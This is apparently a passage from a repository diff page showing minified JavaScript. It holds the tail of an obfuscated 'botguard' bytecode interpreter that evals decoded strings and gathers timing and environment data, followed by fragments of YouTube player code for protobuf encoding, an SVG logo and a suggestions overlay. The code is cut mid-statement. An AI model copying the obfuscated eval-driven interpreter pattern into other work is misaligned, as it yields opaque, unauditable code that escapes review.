R[q](g[0],g[1],g[2],g[3]):D(22,v),P(v,z.v,h))}),P(Q,105,function(v){v.Z(4)}),function(v){v.Z(3)})),219),function(v){mU(4,v)}),function(){})),249),function(v,h,H){P((h=Uc((h=(h=t(v),H=t(v),v.b(h)),h)),v),H,h)}),false),P)(Q,121,function(v,h,H,z){H=(h=(z=t((H=t(v),v)),t(v)),v).b(H),z=v.b(z),P(v,h,+(H==z))}),234),function(v,h){A(false,v,true)||(h=z6(v),P(v,h.v,h.F.apply(h.L,h.H)))}),P(Q,64,function(v,h,H){0!=(H=(H=t((h=t(v),v)),v.b(H)),v).b(h)&&P(v,2,H)}),10),function(v,h,H,z){(h=(H=(z=t((H=(h=t(v),t(v)),v)),v).b(H),v.b(h)),P)(v,z,h in H|0)}),245),function(v,h,H,z,R,g,q){if(h=(H=(g=t(v),N(v)),""),v.S[76])for(R=v.b(76),z=0,q=R.length;H--;)z=((z|0)+(N(v)|0))%q,h+=U[R[z]];else for(;H--;)h+=U[t(v)];P(v,g,h)}),P(Q,150,2048),67),function(v){mU(1,v)}),function(v,h,H,z){if(h=v.s.pop()){for(H=t(v);0<H;H--)z=t(v),h[z]=v.S[z];v.S=(h[h[231]=v.S[231],150]=v.S[150],h)}else P(v,2,v.V)})),Q),228,0),114),function(v,h,H){A(false,v,true)||(h=t(v),H=t(v),P(v,H,function(z){return eval(z)}(t5(v.b(h)))))}),function(v,h,H,z,R){(h=(R=(z=t((H=t((h=t((R=t(v),v)),v)),v)),v.b(R)),H=v.b(H),v.b(h)),z=v.b(z),0!==R)&&(z=Rt(z,v,H,1,R,h),R.addEventListener(h,z,w),P(v,228,[R,h,z]))})),46),function(v,h,H,z,R){for(R=(h=N((z=t(v),v)),H=[],0);R<h;R++)H.push(t(v));P(v,z,H)}),function(v,h,H){H=(h=t(v),t)(v),P(v,H,""+v.b(h))})),[]),165),0,0]),function(v,h){v=(h=t(v),v.b(h)),v[0].removeEventListener(v[1],v[2],false)})),163),[]),P)(Q,221,Q),89),[0,0,0]),function(v,h,H,z,R){(h=t((H=(z=t(v),t(v)),v)),v.i==v)&&(h=v.b(h),R=v.b(z),H=v.b(H),R[H]=h,237==z&&(v.l=void 0,2==H&&io(v)))})),137),function(v,h,H,z){P((z=(H=t((h=t(v),v)),t)(v),v),z,v.b(h)>>H)}),69),function(v,h,H,z){P((h=t((H=t(v),v)),z=t(v),v),z,v.b(H)||v.b(h))}),function(v,h,H,z){P((h=(z=(h=t(v),t(v)),v.b(h)),H=v.b(z),v),z,H+h)})),function(v,h){(h.push(v[0]<<24|v[1]<<16|v[2]<<8|v[3]),h).push(v[4]<<24|v[5]<<16|v[6]<<8|v[7]),h.push(v[8]<<24|v[9]<<16|v[10]<<8|v[11])}),E)),P(Q,15,function(v){v.E5(4)}),[]),193),function(v,h){gg(v,(G((h=v.b(t(v)),h)),h))}),153),0),window.performance||{}),Q.jW=J.timeOrigin||(J.timing||{}).navigationStart||0,a(4))),function(v,h,H,z){P(v,(z=(H=(h=t((z=t(v),v)),t)(v),v.b(z)),h=v.b(h),H),z[h])})),1),function(v,h,H,z,R){P(v,(R=(H=(h=(R=(H=(h=t((z=t(v),v)),t(v)),t)(v),v.b(h)),v.b(H)),v).b(R),z),Rt(H,v,h,R))})),Q),34,function(v,h,H,z,R,g,q,V,C,Z,T,K,f){for(K=(Z=(H=(C=t(v),0),function(y,S){for(;T<y;)H|=t(v)<<T,T+=8;return S=H&(1<<(T-=y,y))-1,H>>=y,S}),T=0,q=(Z(3)|0)+1,Z)(5),V=0,h=[],g=0;g<K;g++)R=Z(1),h.push(R),V+=R?0:1;for(V=((V|0)-1).toString(2).length,g=0,f=[];g<K;g++)h[g]||(f[g]=Z(V));for(g=0;g<K;g++)h[g]&&(f[g]=t(v));for(g=(z=[],q);g--;)z.push(v.b(t(v)));P(v,C,function(y,S,X,F,c){for(S=(X=(c=[],[]),0);S<K;S++){if(F=f[S],!h[S]){for(;F>=c.length;)c.push(t(y));F=c[F]}X.push(F)}y.N=(y.U=(c=y.O,y.g(c,z.slice())),y.g(c,X))})}),Q).V=0,[]),W([M,l],Q),[KK,r.yA]),Q),k)(r.SW,Q,true)},rg=function(l,Q){return Q[l]<<24|Q[(l|0)+1]<<16|Q[(l|0)+2]<<8|Q[(l|0)+3]},b=function(l){return l},P=function(l,Q,r){if(2==Q||104==Q)if(l.S[Q])l.S[Q][l.j](r);else l.S[Q]=l.WQ(r);else if(87!=Q&&109!=Q&&163!=Q&&231!=Q&&89!=Q||!l.S[Q])l.S[Q]=l.g(l.b,r);237==Q&&io(l)},w=false,O,p=function(l,Q,r,J){for(r=(J=(Q|0)-1,[]);0<=J;J--)r[(Q|0)-1-(J|0)]=l>>8*J&255;return r},E=this||self,n=E.requestIdleCallback?function(l){requestIdleCallback(function(){l()},{timeout:4})}:E.setImmediate?function(l){setImmediate(l)}:function(l){setTimeout(l,0)},d=function(l,Q){try{CK(l,this,Q)}catch(r){x(r,this)}},vB=function(l,Q,r,J){try{for(J=0;79669387488!=J;)r+=(Q<<4^Q>>>5)+(Q|0)^(J|0)+(l[J&3]|0),J+=2489668359,Q+=(r<<4^r>>>5)+(r|0)^(J|0)+(l[J>>>11&3]|0);return[r>>>24,r>>16&255,r>>8&255,r&255,Q>>>24,Q>>16&255,Q>>8&255,Q&255]}catch(U){throw U;}},W=function(l,Q){Q.C.splice(0,0,l)},u=[],L=[],Rt=function(l,Q,r,J,U,v){return function(){if(Q.i==Q){var h=J&1,H=[u,r,l,void 0,U,v,arguments];if(J&2)var z=(W(H,Q),k(false,Q,false));else h?(h=!Q.C.length,W(H,Q),h&&k(false,Q,false)):z=qw(Q,H);return z}}},jV=[],io=function(l){l.VA=m(l,l.b(2))<<24|m(l,l.b(2))<<16|m(l,l.b(2))<<8|m(l,l.b(2)),l.l=void 0},a=function(l,Q){for(Q=[];l--;)Q.push(255*Math.random()|0);return Q},I=[],N=function(l,Q){return(Q=t(l),Q)&128&&(Q=Q&127|t(l)<<7),Q},KK=[],m=(d.prototype.b=function(l,Q){if(Q=this.S[l],void 0===Q)throw D(30,this,0,l),this.f;for(l=7;l--;);return Q()},d.prototype.G=function(l,Q,r,J,U){if(this.P)l(this.P);else try{U=[],J=!this.C.length,W([I,U,r],this),W([e,l,U],this),Q&&!J||k(Q,this,true)}catch(v){x(v,this),l(this.P)}},d.prototype.PQ=function(l,Q,r,J){try{J=l[((Q|0)+2)%3],l[Q]=(l[Q]|0)-(l[((Q|0)+1)%3]|0)-(J|0)^(1==Q?J<<r:J>>>r)}catch(U){throw U;}},function(l,Q){if(Q>=l.V)throw D(31,l),l.f;return(P(l,2,(Q|0)+8),l).A[Q>>3]}),Zo=function(l,Q,r,J,U,v){l.D++;try{for(v=(J=5001,l).V,Q=void 0,r=0;(l.iF||--J)&&(l.U||(r=l.b(2))<v);)try{l.U?Q=l.O(l.U):(P(l,104,r),U=t(l),Q=l.b(U)),Q&&Q.call?Q(l):D(21,l,0,U),l.I=true,A(false,l,false)}catch(h){h!=l.f&&(l.b(106)?D(22,l,h):P(l,106,h))}J||D(33,l)}catch(h){try{D(22,l,h)}catch(H){x(H,l)}}l.D--},BB=function(l,Q,r){return P(l,2,(Zo(((G((G((r=l.b(2),Q)),r)),l.A)&&r<l.V?(P(l,2,l.V),gg(l,Q)):P(l,2,Q),l)),r)),l.b(200)},Uc=(O=d.prototype,function(l,Q,r){if(r=typeof l,"object"==r)if(l){if(l instanceof Array)return"array";if(l instanceof Object)return r;if("[object Window]"==(Q=Object.prototype.toString.call(l),Q))return"object";if("[object Array]"==Q||"number"==typeof l.length&&"undefined"!=typeof l.splice&&"undefined"!=typeof l.propertyIsEnumerable&&!l.propertyIsEnumerable("splice"))return"array";if("[object Function]"==Q||"undefined"!=typeof l.call&&"undefined"!=typeof l.propertyIsEnumerable&&!l.propertyIsEnumerable("call"))return"function"}else return"null";else if("function"==r&&"undefined"==typeof l.call)return"object";return r}),z6=function(l,Q,r,J,U,v){for(J=(v=t((Q=(((r=t((U={},l)),U).v=t(l),U).H=[],l).i==l?(t(l)|0)-1:1,l)),0);J<Q;J++)U.H.push(t(l));for(U.F=l.b(r);Q--;)U.H[Q]=l.b(U.H[Q]);return U.L=l.b(v),U},x=(O.R=(d.prototype.O=function(l){return(l=l().shift(),this).U().length||this.N().length||(this.U=this.N=void 0),l},35),O.iF=false,function(l,Q){Q.P=("E:"+l.message+":"+l.stack).slice(0,2048)}),gg=(O.j="toString",O.Y="caller",function(l,Q){P(l,2,((l.s.push(l.S.slice()),l.S)[2]=void 0,Q))}),M=(d.prototype.fc=function(){return t(this)},O.f={},[]),G=function(l){isNaN(l)||(l>>3).toString(16)},qw=function(l,Q,r,J,U){if(U=Q[l.I=false,0],U==I)l.c=25,l.W(Q);else if(U==e){r=Q[1];try{J=l.W(Q)}catch(v){x(v,l),J=l.P}r(J)}else if(U==L)l.W(Q);else if(U==M)l.W(Q);else if(U==KK){try{for(J=0;J<l.K.length;J++)try{r=l.K[J],r[0][r[1]](r[2])}catch(v){}}catch(v){}(0,Q[l.K=[],1])(function(v,h){l.G(v,true,h)})}else if(U==u)return J=Q[2],P(l,19,Q[6]),P(l,200,J),l.W(Q)},D=(O.$=(d.prototype.lF=function(l,Q,r){if(3==l.length){for(r=0;3>r;r++)Q[r]+=l[r];for(r=(l=[13,8,13,12,16,5,3,10,15],0);9>r;r++)Q[3](Q,r%3,l[r])}},36),function(l,Q,r,J,U){if(r=((J=(0==(void 0!=(l=(U=Q.b(104)>>3,[l,U>>8&255,U&255]),J)&&l.push(J),Q.b(231)).length&&(Q.S[231]=void 0,P(Q,231,l)),""),r)&&(r.message&&(J+=r.message),r.stack&&(J+=":"+r.stack)),Q.b(150)),3<r){Q.i=(l=(J=QX((J=J.slice(0,(r|0)-3),r-=(J.length|0)+3,J.replace(/\\r\\n/g,"\\n"))),Q).i,Q);try{B(Q,109,p(J.length,2).concat(J),12)}finally{Q.i=l}}P(Q,150,r)}),yX=((((((O=d.prototype,O).od=function(l,Q,r,J,U,v){for(v=(U=0,[]),r=0;r<l.length;r++)for(U+=Q,J=J<<Q|l[r];7<U;)U-=8,v.push(J>>U&255);return v},O.HQ=function(l,Q,r){return l^((Q=(Q^=Q<<13,Q^=Q>>17,Q^Q<<5)&r)||(Q=1),Q)},O.q0=function(l,Q,r,J){for(;r--;)2!=r&&104!=r&&Q.S[r]&&(Q.S[r]=Q[J](Q[l](r),this));Q[l]=this},O).Tn=function(l,Q,r,J,U){for(U=J=0;J<l.length;J++)U+=l.charCodeAt(J),U+=U<<10,U^=U>>6;return J=(U+=U<<3,U^=U>>11,l=U+(U<<15)>>>0,new Number(l&(1<<Q)-1)),J[0]=(l>>>Q)%r,J},O).ad=function(){return Math.floor(this.h())},O.h=(window.performance||{}).now?function(){return this.jW+window.performance.now()}:function(){return+new Date},O).N0=function(){return Math.floor(this.X+(this.h()-this.M))},d).prototype.W=function(l,Q){return Q=(l={},{}),function(r,J,U,v,h,H,z,R,g,q,V,C,Z,T,K,f,y){l=(h=l,Q);try{if(z=r[0],z==jV)return h==Q?24:72;if(z==M){V=r[1];try{for(K=(C=(R=[],atob)((J=0,V)),0);K<C.length;K++)Z=C.charCodeAt(K),255<Z&&(R[J++]=Z&255,Z>>=8),R[J++]=Z;P(this,237,[((this.A=R,this).V=this.A.length<<3,0),0,0])}catch(S){S!=this.f&&D(17,this,S);return}Zo(this)}else if(z==I)J=r[1],J.push(this.b(163).length,this.b(87).length,this.b(150),this.b(109).length),P(this,200,r[2]),this.S[253]&&BB(this,this.b(253));else{if(z==e){v=(f=p((J=r[2],(this.b(87).length|0)+2),2),this).i,this.i=this;try{H=this.b(231),0<H.length&&B(this,87,p(H.length,2).concat(H),15),B(this,87,[1],104),B(this,87,[7]),C=0,C+=this.b(153)&2047,U=this.b(109),C-=(this.b(87).length|0)+5,4<U.length&&(C-=(U.length|0)+3),0<C&&B(this,87,p(C,2).concat(a(C)),10),4<U.length&&B(this,87,p(U.length,2).concat(U),153)}finally{this.i=v}if(y=(((K=a(2).concat(this.b(87)),K)[1]=K[0]^3,K)[3]=K[1]^f[0],K[4]=K[1]^f[1],window.btoa)){for(Z=(C="",0);Z<K.length;Z+=8192)C+=String.fromCharCode.apply(null,K.slice(Z,Z+8192));q=y(C).replace(/\\+/g,"-").replace(/\\//g,"_").replace(/=/g,"")}else q=void 0;if(T=q)T="!"+T;else for(T="",C=0;C<K.length;C++)g=K[C][this.j](16),1==g.length&&(g="0"+g),T+=g;return P(((this.b((R=T,163)).length=J.shift(),this).b(87).length=J.shift(),this),150,J.shift()),this.b(109).length=J.shift(),R}if(z==L)BB(this,r[1]);else if(z==u)return BB(this,r[1])}}finally{l=h}}}(),d.prototype.E5=function(l,Q,r){for(Q=(r=t(this),0);0<l;l--)Q=Q<<8|t(this);P(this,r,Q)},function(l,Q,r,J){for(;Q.C.length;)if(Q.o=false,J=Q.C.pop(),J=qw(Q,J),l&&Q.o){r=Q,n(function(){k(true,r,true)});break}return J}),k=(d.prototype.Z=function(l,Q,r,J){B(this,(J=(J=t((Q=l&3,l&=4,this)),r=t(this),this).b(J),l&&(J=QX((""+J).replace(/\\r\\n/g,"\\n"))),Q&&B(this,r,p(J.length,2)),r),J)},function(l,Q,r,J,U,v){if(Q.C.length){Q.T=!(Q.B=(Q.T&&0(),l),0);try{J=Q.h(),Q.hH=J,Q.M=J,v=yX(l,Q),U=Q.h()-Q.M,Q.X+=U,U<(r?0:10)||0>=Q.c--||(U=Math.floor(U),Q.bF.push(254>=U?U:254))}finally{Q.T=false}return v}}),mU=function(l,Q,r,J){B(Q,(r=(J=t(Q),t(Q)),r),p(Q.b(J),l))},T6=function(l,Q,r){return Q.G(function(J){r=J},false,l),r},A=function(l,Q,r,J){if(!(J=0<Q.J&&Q.T&&Q.B&&1>=Q.D&&!Q.U&&!Q.o&&(Q.I||!r)&&0==document.hidden,J)||(J?Q.h():Q.hH)-Q.M<Q.J-(l?255:r?5:2))return false;return Q.o=((P((l=Q.b(r?104:2),Q),2,Q.V),Q).C.push([L,l]),true)},t5=function(l){return(l=h5())&&1===eval(l.createScript("1"))?function(Q){return l.createScript(Q)}:function(Q){return""+Q}}();((Y=E.botguard||(E.botguard={}),25)<Y.m||(Y.m=26,Y.bg=HB,Y.a=J5),Y).cPi_=function(l,Q,r,J){return[(J=new d(l,{yA:Q,SW:r}),function(U){return T6(U,J)})]};try{Y.u||(E.addEventListener("unload",function(){},w),Y.u=1)}catch(l){}try{E.addEventListener("test",null,Object.defineProperty({},"passive",{get:function(){w={passive:true}}}))}catch(l){};}).call(this);'));}).call(this);
\ No newline at end of file
This source diff could not be displayed because it is too large. You can view the blob instead.
(function(g){var window=this;var t4=function(a,b){g.mf(a.u,8*b+2);var c=a.u.end();a.C.push(c);a.B+=c.length;c.push(a.B);return c},u4=function(a,b){var c=b.pop();
(function(g){var window=this;var t4=function(a,b){g.mf(a.u,8*b+2);var c=a.u.end();a.C.push(c);a.B+=c.length;c.push(a.B);return c},u4=function(a,b){var c=b.pop();
for(c=a.B+a.u.length()-c;127<c;)b.push(c&127|128),c>>>=7,a.B++;b.push(c);a.B++},iGa=function(a,b,c){null!=c&&(g.mf(a.u,8*b+1),a=a.u,b=c>>>0,c=Math.floor((c-b)/4294967296)>>>0,g.zf=b,g.Af=c,g.nf(a,g.zf),g.nf(a,g.Af))},v4=function(a,b,c){null!=c&&(g.mf(a.u,8*b),a.u.u.push(c?1:0))},w4=function(a,b,c){if(null!=c){b=t4(a,b);
for(var d=a.u,e=0;e<c.length;e++){var f=c.charCodeAt(e);if(128>f)d.u.push(f);else if(2048>f)d.u.push(f>>6|192),d.u.push(f&63|128);else if(65536>f)if(55296<=f&&56319>=f&&e+1<c.length){var h=c.charCodeAt(e+1);56320<=h&&57343>=h&&(f=1024*(f-55296)+h-56320+65536,d.u.push(f>>18|240),d.u.push(f>>12&63|128),d.u.push(f>>6&63|128),d.u.push(f&63|128),e++)}else d.u.push(f>>12|224),d.u.push(f>>6&63|128),d.u.push(f&63|128)}u4(a,b)}},x4=function(a,b,c,d){null!=c&&(b=t4(a,b),d(c,a),u4(a,b))},y4=function(a,b,c,d){if(null!=
c)for(var e=0;e<c.length;e++){var f=t4(a,b);
d(c[e],a);u4(a,f)}},jGa=function(a,b){var c=(b-a.u)/(a.B-a.u);
if(0>=c)return 0;if(1<=c)return 1;for(var d=0,e=1,f=0,h=0;8>h;h++){f=g.Hn(a,c);var l=(g.Hn(a,c+1E-6)-f)/1E-6;if(1E-6>Math.abs(f-b))return c;if(1E-6>Math.abs(l))break;else f<b?d=c:e=c,c-=(f-b)/l}for(h=0;1E-6<Math.abs(f-b)&&8>h;h++)f<b?(d=c,c=(c+e)/2):(e=c,c=(c+d)/2),f=g.Hn(a,c);return c},z4=function(a,b,c){a.u||(a.u={});
if(!a.u[c]){var d=g.Kf(a,c);d&&(a.u[c]=new b(d))}return a.u[c]},kGa=function(a,b,c){a.u||(a.u={});
c=c||[];for(var d=[],e=0;e<c.length;e++)d[e]=c[e].Kf;a.u[b]=c;g.Mf(a,b,d)},A4=function(a,b,c,d){(c=g.If(a,c))&&c!==b&&void 0!==d&&(a.u&&c in a.u&&(a.u[c]=void 0),g.Mf(a,c,void 0));
g.Mf(a,b,d)},B4=function(){return{G:"svg",
U:{height:"100%",version:"1.1",viewBox:"0 0 110 26",width:"100%"},R:[{G:"path",vb:!0,L:"ytp-svg-fill",U:{d:"M 16.68,.99 C 13.55,1.03 7.02,1.16 4.99,1.68 c -1.49,.4 -2.59,1.6 -2.99,3 -0.69,2.7 -0.68,8.31 -0.68,8.31 0,0 -0.01,5.61 .68,8.31 .39,1.5 1.59,2.6 2.99,3 2.69,.7 13.40,.68 13.40,.68 0,0 10.70,.01 13.40,-0.68 1.5,-0.4 2.59,-1.6 2.99,-3 .69,-2.7 .68,-8.31 .68,-8.31 0,0 .11,-5.61 -0.68,-8.31 -0.4,-1.5 -1.59,-2.6 -2.99,-3 C 29.11,.98 18.40,.99 18.40,.99 c 0,0 -0.67,-0.01 -1.71,0 z m 72.21,.90 0,21.28 2.78,0 .31,-1.37 .09,0 c .3,.5 .71,.88 1.21,1.18 .5,.3 1.08,.40 1.68,.40 1.1,0 1.99,-0.49 2.49,-1.59 .5,-1.1 .81,-2.70 .81,-4.90 l 0,-2.40 c 0,-1.6 -0.11,-2.90 -0.31,-3.90 -0.2,-0.89 -0.5,-1.59 -1,-2.09 -0.5,-0.4 -1.10,-0.59 -1.90,-0.59 -0.59,0 -1.18,.19 -1.68,.49 -0.49,.3 -1.01,.80 -1.21,1.40 l 0,-7.90 -3.28,0 z m -49.99,.78 3.90,13.90 .18,6.71 3.31,0 0,-6.71 3.87,-13.90 -3.37,0 -1.40,6.31 c -0.4,1.89 -0.71,3.19 -0.81,3.99 l -0.09,0 c -0.2,-1.1 -0.51,-2.4 -0.81,-3.99 l -1.37,-6.31 -3.40,0 z m 29.59,0 0,2.71 3.40,0 0,17.90 3.28,0 0,-17.90 3.40,0 c 0,0 .00,-2.71 -0.09,-2.71 l -9.99,0 z m -53.49,5.12 8.90,5.18 -8.90,5.09 0,-10.28 z m 89.40,.09 c -1.7,0 -2.89,.59 -3.59,1.59 -0.69,.99 -0.99,2.60 -0.99,4.90 l 0,2.59 c 0,2.2 .30,3.90 .99,4.90 .7,1.1 1.8,1.59 3.5,1.59 1.4,0 2.38,-0.3 3.18,-1 .7,-0.7 1.09,-1.69 1.09,-3.09 l 0,-0.5 -2.90,-0.21 c 0,1 -0.08,1.6 -0.28,2 -0.1,.4 -0.5,.62 -1,.62 -0.3,0 -0.61,-0.11 -0.81,-0.31 -0.2,-0.3 -0.30,-0.59 -0.40,-1.09 -0.1,-0.5 -0.09,-1.21 -0.09,-2.21 l 0,-0.78 5.71,-0.09 0,-2.62 c 0,-1.6 -0.10,-2.78 -0.40,-3.68 -0.2,-0.89 -0.71,-1.59 -1.31,-1.99 -0.7,-0.4 -1.48,-0.59 -2.68,-0.59 z m -50.49,.09 c -1.09,0 -2.01,.18 -2.71,.68 -0.7,.4 -1.2,1.12 -1.49,2.12 -0.3,1 -0.5,2.27 -0.5,3.87 l 0,2.21 c 0,1.5 .10,2.78 .40,3.78 .2,.9 .70,1.62 1.40,2.12 .69,.5 1.71,.68 2.81,.78 1.19,0 2.08,-0.28 2.78,-0.68 .69,-0.4 1.09,-1.09 1.49,-2.09 .39,-1 .49,-2.30 .49,-3.90 l 0,-2.21 c 0,-1.6 -0.2,-2.87 -0.49,-3.87 -0.3,-0.89 -0.8,-1.62 -1.49,-2.12 -0.7,-0.5 -1.58,-0.68 -2.68,-0.68 z m 12.18,.09 0,11.90 c -0.1,.3 -0.29,.48 -0.59,.68 -0.2,.2 -0.51,.31 -0.81,.31 -0.3,0 -0.58,-0.10 -0.68,-0.40 -0.1,-0.3 -0.18,-0.70 -0.18,-1.40 l 0,-10.99 -3.40,0 0,11.21 c 0,1.4 .18,2.39 .68,3.09 .49,.7 1.21,1 2.21,1 1.4,0 2.48,-0.69 3.18,-2.09 l .09,0 .31,1.78 2.59,0 0,-14.99 c 0,0 -3.40,.00 -3.40,-0.09 z m 17.31,0 0,11.90 c -0.1,.3 -0.29,.48 -0.59,.68 -0.2,.2 -0.51,.31 -0.81,.31 -0.3,0 -0.58,-0.10 -0.68,-0.40 -0.1,-0.3 -0.21,-0.70 -0.21,-1.40 l 0,-10.99 -3.40,0 0,11.21 c 0,1.4 .21,2.39 .71,3.09 .5,.7 1.18,1 2.18,1 1.39,0 2.51,-0.69 3.21,-2.09 l .09,0 .28,1.78 2.62,0 0,-14.99 c 0,0 -3.40,.00 -3.40,-0.09 z m 20.90,2.09 c .4,0 .58,.11 .78,.31 .2,.3 .30,.59 .40,1.09 .1,.5 .09,1.21 .09,2.21 l 0,1.09 -2.5,0 0,-1.09 c 0,-1 -0.00,-1.71 .09,-2.21 0,-0.4 .11,-0.8 .31,-1 .2,-0.3 .51,-0.40 .81,-0.40 z m -50.49,.12 c .5,0 .8,.18 1,.68 .19,.5 .28,1.30 .28,2.40 l 0,4.68 c 0,1.1 -0.08,1.90 -0.28,2.40 -0.2,.5 -0.5,.68 -1,.68 -0.5,0 -0.79,-0.18 -0.99,-0.68 -0.2,-0.5 -0.31,-1.30 -0.31,-2.40 l 0,-4.68 c 0,-1.1 .11,-1.90 .31,-2.40 .2,-0.5 .49,-0.68 .99,-0.68 z m 39.68,.09 c .3,0 .61,.10 .81,.40 .2,.3 .27,.67 .37,1.37 .1,.6 .12,1.51 .12,2.71 l .09,1.90 c 0,1.1 .00,1.99 -0.09,2.59 -0.1,.6 -0.19,1.08 -0.49,1.28 -0.2,.3 -0.50,.40 -0.90,.40 -0.3,0 -0.51,-0.08 -0.81,-0.18 -0.2,-0.1 -0.39,-0.29 -0.59,-0.59 l 0,-8.5 c .1,-0.4 .29,-0.7 .59,-1 .3,-0.3 .60,-0.40 .90,-0.40 z"}}]}},
lGa=function(a){this.oC=a},C4=function(a,b,c){this.D=a;
this.B=b;this.u=c||[];this.Ln=new Map},D4=function(a,b){C4.call(this,a,3,b)},nGa=function(){this.I=new mGa;
this.B=new Map;this.F=new Set;this.C=0;this.D=100;this.flushInterval=3E4;this.u=new g.Lm(this.flushInterval);this.u.xa("tick",this.NH,!1,this)},oGa=function(a,b){return a.F.has(b)?void 0:a.B.get(b)},pGa=function(a){for(var b=0;b<a.length;b++)a[b].clear()},qGa=function(){if(!E4){E4=new nGa;
var a=g.Ao("client_streamz_web_flush_count",-1);-1!==a&&(E4.D=a)}this.u=E4;this.u.FJ("/client_streamz/youtube/web/debug/third_party_apisid_cookie_reissue_iframe",{lK:3,kK:"client_name"})},sGa=function(a){g.Jf(this,a,rGa,null)},tGa=function(a){g.Jf(this,a,null,null)},vGa=function(a,b){var c=g.Of(a,tGa,1);
0<c.length&&y4(b,1,c,uGa)},uGa=function(a,b){var c=g.Kf(a,1);
null!=c&&g.Df(b,1,c);c=g.Kf(a,2);null!=c&&g.Bf(b,2,c)},xGa=function(a){g.Jf(this,a,wGa,null)},zGa=function(a){g.Jf(this,a,null,yGa)},AGa=function(a){g.Jf(this,a,null,null)},BGa=function(a){g.Jf(this,a,null,null)},F4=function(a){g.Jf(this,a,CGa,null)},H4=function(a){g.Jf(this,a,null,G4)},J4=function(a){g.Jf(this,a,null,I4)},FGa=function(a,b){var c=z4(a,AGa,1);
null!=c&&x4(b,1,c,DGa);c=z4(a,BGa,2);null!=c&&x4(b,2,c,EGa)},DGa=function(a,b){var c=g.Kf(a,1);
null!=c&&w4(b,1,c);c=g.Kf(a,2);null!=c&&w4(b,2,c);c=g.Kf(a,3);null!=c&&v4(b,3,c)},EGa=function(a,b){var c=g.Kf(a,1);
null!=c&&w4(b,1,c);c=g.Kf(a,2);null!=c&&w4(b,2,c);c=g.Kf(a,3);null!=c&&g.yf(b,3,c);c=g.Kf(a,4);null!=c&&v4(b,4,c)},IGa=function(a,b){var c=g.Of(a,H4,1);
0<c.length&&y4(b,1,c,GGa);c=z4(a,J4,2);null!=c&&x4(b,2,c,HGa)},GGa=function(a,b){var c=g.Kf(a,1);
null!=c&&w4(b,1,c);c=g.Kf(a,2);null!=c&&g.yf(b,2,c);c=g.Kf(a,3);null!=c&&v4(b,3,c)},HGa=function(a,b){var c=g.Kf(a,1);
null!=c&&g.Bf(b,1,c);c=g.Kf(a,2);null!=c&&g.Df(b,2,c);c=z4(a,sGa,3);null!=c&&x4(b,3,c,vGa)},mGa=function(){},K4=function(a){g.B.call(this);
this.callback=a;this.B=new g.Gn(0,0,.4,0,.2,1,1,1);this.delay=new g.hn(this.next,window,this);this.startTime=this.duration=this.u=this.from=NaN;g.D(this,this.delay)},L4=function(a){g.V.call(this,{G:"div",
L:"ytp-related-on-error-overlay"});var b=this;this.api=a;this.I=this.B=0;this.animationDelay=1E3;this.S=new g.oR(this);this.D=[];this.u=[];this.F=0;this.title=new g.V({G:"h2",L:"ytp-related-title",Z:"{{title}}"});this.previous=new g.V({G:"button",la:["ytp-button","ytp-previous"],U:{"aria-label":"\u663e\u793a\u4e4b\u524d\u7684\u63a8\u8350\u89c6\u9891"},R:[g.SN()]});this.Y=new K4(function(f){b.suggestions.element.scrollLeft=-f});
this.tileWidth=this.C=0;this.K=!0;this.next=new g.V({G:"button",la:["ytp-button","ytp-next"],U:{"aria-label":"\u663e\u793a\u66f4\u591a\u63a8\u8350\u89c6\u9891"},R:[g.TN()]});g.D(this,this.S);a=a.T();this.X=a.B;g.D(this,this.title);this.title.ga(this.element);this.suggestions=new g.V({G:"div",L:"ytp-suggestions"});g.D(this,this.suggestions);this.suggestions.ga(this.element);g.D(this,this.previous);this.previous.ga(this.element);this.previous.xa("click",this.nM,this);g.D(this,this.Y);for(var c=0;16>
c;c++){var d=new g.V({G:"a",L:"ytp-suggestion-link",U:{href:"{{link}}",target:a.F,"aria-label":"{{aria_label}}"},R:[{G:"div",L:"ytp-suggestion-image",R:[{G:"div",U:{"data-is-live":"{{is_live}}"},L:"ytp-suggestion-duration",Z:"{{duration}}"}]},{G:"div",L:"ytp-suggestion-title",U:{title:"{{hover_title}}"},Z:"{{title}}"},{G:"div",L:"ytp-suggestion-author",Z:"{{views_or_author}}"}]});g.D(this,d);d.ga(this.suggestions.element);var e=d.ia("ytp-suggestion-link");g.vg(e,"transitionDelay",c/20+"s");this.S.N(e,
"click",g.Ta(this.oM,c));this.D.push(d)}g.D(this,this.next);this.next.ga(this.element);this.next.xa("click",this.mM,this);this.S.N(this.api,"videodatachange",this.Qa);JGa(this,g.pG(this.api).getPlayerSize());this.Qa();this.show()},JGa=function(a,b,c){var d=a.api.T(),e=16/9,f=650<=b.width,h=480>b.width||290>b.height,l=Math.min(a.u.length,a.D.length);
if(150>=Math.min(b.width,b.height)||0===l||!d.tb)a.hide();else{var m;if(f){var n=m=28;a.B=16}else n=m=8,a.B=8;if(h){var p=6;f=14;var r=12;h=24;d=12}else p=8,f=18,r=16,h=36,d=16;b=b.width-(48+m+n);m=Math.ceil(b/150);m=Math.min(3,m);m=b/m-a.B;n=Math.floor(m/e);c&&n+100>c&&50<m&&(n=Math.max(c,50/e),m=Math.ceil(b/(e*(n-100)+a.B)),m=b/m-a.B,n=Math.floor(m/e));50>m||g.KT(a.api)?a.hide():a.show();for(c=0;c<l;c++){e=a.D[c];var t=e.ia("ytp-suggestion-image");t.style.width=m+"px";t.style.height=n+"px";e.ia("ytp-suggestion-title").style.width=
m+"px";e.ia("ytp-suggestion-author").style.width=m+"px";e=e.ia("ytp-suggestion-duration");e.style.display=e&&100>m?"none":""}l=f+p+r+4;a.I=l+d+(n-h)/2;a.suggestions.element.style.height=n+l+"px";a.tileWidth=m;a.F=b;a.C=0;a.suggestions.element.scrollLeft=-0;M4(a)}},M4=function(a){a.next.element.style.bottom=a.I+"px";
a.previous.element.style.bottom=a.I+"px";var b=a.C,c=a.F-a.u.length*(a.tileWidth+a.B);g.K(a.element,"ytp-scroll-min",0<=b);g.K(a.element,"ytp-scroll-max",b<=c)},KGa=function(a){for(var b=0;b<a.u.length;b++){var c=b,d=a.u[b].Na();
